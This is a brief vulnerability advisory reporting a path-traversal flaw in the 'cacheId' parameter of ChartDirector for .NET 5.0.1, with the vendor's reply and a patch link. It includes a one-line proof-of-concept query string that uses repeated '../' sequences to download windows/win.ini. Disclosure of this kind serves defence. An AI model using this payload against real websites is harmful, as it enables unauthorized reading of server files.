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==================================================== Advisory No.: ISNSC-0910 ============= ChartDirector Critical File Access Information ====== Author: DokFLeed Program Affected: http://www.chartdir.com for .NET Version: 5.0.1 Severity: Critical. Type of Advisory: Mid Disclosure. Affected/Tested Versions: Random Program Description ================== Widely used Chart Component on Financial & Stock Trading websites Overview ========= The query variable "cacheId=" is not sanitized, it will can allow critical files download Proof Of Concept ================ ?ChartDirectorChartImage=chart_WebChartViewer1&cacheId=/../../../../../../../../windows/win.ini Solution/Fix ============ Upgrade to latest Chart Dir or apply the following patch (ChartDirector for .NET Ver 5.0.1 Patch 2): http://www.advsofteng.com/netchartdir501p2.zip Vendor Status ============ The problem you mentions affect ChartDirector for .NET. The current version of ChartDirector for .NET on our web site (Ver 5.0.2) already has this issue fixed. So this issue no longer occurs with the current version of ChartDirector for .NET. For people using earlier versions of ChartDirector, it is suggested they upgrade to the latest version. They may also apply the following patch (ChartDirector for .NET Ver 5.0.1 Patch 2): http://www.advsofteng.com/netchartdir501p2.zip Reference ============ http://dokfleed.net/duh/modules.php?name=News&file=article&sid=48 # sebug.net